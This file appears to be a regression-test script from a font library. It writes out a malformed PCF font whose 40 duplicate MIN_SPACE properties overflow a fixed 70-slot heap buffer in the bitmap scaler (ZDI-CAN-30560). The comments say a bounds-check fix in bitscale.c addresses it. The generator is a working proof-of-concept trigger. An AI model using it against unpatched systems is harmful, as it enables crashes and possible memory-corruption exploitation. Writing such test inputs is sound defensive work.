Home | History | Annotate | Line # | Download | only in test
      1 #!/usr/bin/env python3
      2 """
      3 Generate a malicious PCF font that triggers the computeProps property
      4 buffer heap overflow (ZDI-CAN-30560).
      5 
      6 The font has 40 duplicate MIN_SPACE properties. When the bitmap scaler
      7 processes this font, computeProps writes 2 slots per scaledX match with
      8 no bounds check, overflowing the fixed 70-slot property buffer.
      9 
     10 With the fix in bitscale.c, computeProps checks remaining buffer capacity
     11 and silently skips properties that would overflow.
     12 
     13 Usage:
     14     python3 gen_evil_pcf_props.py <output_dir>
     15 
     16 Creates <output_dir>/evil-props.pcf and <output_dir>/fonts.dir
     17 The font is stored at pixel=10; opening at a different pixel size
     18 triggers the scaling path.
     19 """
     20 
     21 import struct
     22 import sys
     23 import os
     24 
     25 PCF_DEFAULT_FORMAT = 0x00000000
     26 PCF_PROPERTIES = 1
     27 PCF_ACCELERATORS = 2
     28 PCF_METRICS = 4
     29 PCF_BITMAPS = 8
     30 PCF_BDF_ENCODINGS = 32
     31 
     32 
     33 def u32(x):
     34     return struct.pack("<I", x & 0xFFFFFFFF)
     35 
     36 
     37 def i32(x):
     38     return struct.pack("<i", x)
     39 
     40 
     41 def u16(x):
     42     return struct.pack("<H", x & 0xFFFF)
     43 
     44 
     45 def i16(x):
     46     return struct.pack("<h", x)
     47 
     48 
     49 def u8(x):
     50     return struct.pack("<B", x & 0xFF)
     51 
     52 
     53 def xCharInfo(lsb, rsb, cw, asc, desc, attr):
     54     return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr)
     55 
     56 
     57 NUM_MIN_SPACE = 40
     58 PROP_VALUE_BASE = 0x11223300
     59 
     60 MAX_LSB, MAX_RSB = 0, 4
     61 MAX_ASCENT, MAX_DESCENT = 2, 2
     62 
     63 # --- PROPERTIES (40 duplicate MIN_SPACE) ---
     64 prop_name_atom = b"MIN_SPACE\0"
     65 properties = b""
     66 properties += u32(PCF_DEFAULT_FORMAT)
     67 properties += i32(NUM_MIN_SPACE)
     68 for i in range(NUM_MIN_SPACE):
     69     properties += i32(0)  # name offset = 0 -> "MIN_SPACE"
     70     properties += u8(0)  # isStringProp = 0
     71     properties += i32(PROP_VALUE_BASE + i)  # unique value
     72 pad_count = (4 - (NUM_MIN_SPACE % 4)) % 4
     73 properties += b"\x00" * pad_count
     74 properties += i32(len(prop_name_atom))
     75 properties += prop_name_atom
     76 
     77 # --- ACCELERATORS ---
     78 accel = b""
     79 accel += u32(PCF_DEFAULT_FORMAT)
     80 accel += u8(0) * 8
     81 accel += i32(MAX_ASCENT)
     82 accel += i32(MAX_DESCENT)
     83 accel += i32(0)
     84 accel += xCharInfo(0, 0, 0, 0, 0, 0)
     85 accel += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0)
     86 
     87 # --- METRICS (1 glyph, small) ---
     88 metrics = b""
     89 metrics += u32(PCF_DEFAULT_FORMAT)
     90 metrics += i32(1)
     91 metrics += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0)
     92 
     93 # --- BITMAPS ---
     94 bitmap_data = b"\x80" * 4
     95 BITMAP_SIZES = [4, 8, 32, 64]
     96 bitmaps = b""
     97 bitmaps += u32(PCF_DEFAULT_FORMAT)
     98 bitmaps += i32(1)
     99 bitmaps += u32(0)
    100 for sz in BITMAP_SIZES:
    101     bitmaps += u32(sz)
    102 bitmaps += bitmap_data
    103 
    104 # --- BDF_ENCODINGS ---
    105 encodings = b""
    106 encodings += u32(PCF_DEFAULT_FORMAT)
    107 encodings += u16(0) + u16(0)
    108 encodings += u16(0) + u16(0)
    109 encodings += u16(0)
    110 encodings += u16(0)
    111 
    112 # --- Assemble ---
    113 TABLE_COUNT = 5
    114 BODY_START = 8 + TABLE_COUNT * 16
    115 
    116 properties_off = BODY_START
    117 accel_off = properties_off + len(properties)
    118 metrics_off = accel_off + len(accel)
    119 bitmaps_off = metrics_off + len(metrics)
    120 encodings_off = bitmaps_off + len(bitmaps)
    121 
    122 
    123 def toc(type_, format_, size, offset):
    124     return u32(type_) + u32(format_) + u32(size) + u32(offset)
    125 
    126 
    127 out = b"\x01fcp" + u32(TABLE_COUNT)
    128 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off)
    129 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off)
    130 out += toc(PCF_METRICS, 0, len(metrics), metrics_off)
    131 out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off)
    132 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off)
    133 out += properties + accel + metrics + bitmaps + encodings
    134 
    135 output_dir = sys.argv[1] if len(sys.argv) > 1 else "."
    136 os.makedirs(output_dir, exist_ok=True)
    137 
    138 pcf_name = "evil-props.pcf"
    139 # Stored at pixel=10; test must open at different size to trigger scaler
    140 xlfd = "-evil-props-medium-r-normal--10-100-75-75-c-80-iso10646-1"
    141 
    142 with open(os.path.join(output_dir, pcf_name), "wb") as f:
    143     f.write(out)
    144 
    145 with open(os.path.join(output_dir, "fonts.dir"), "w") as f:
    146     f.write("1\n")
    147     f.write(f"{pcf_name} {xlfd}\n")
    148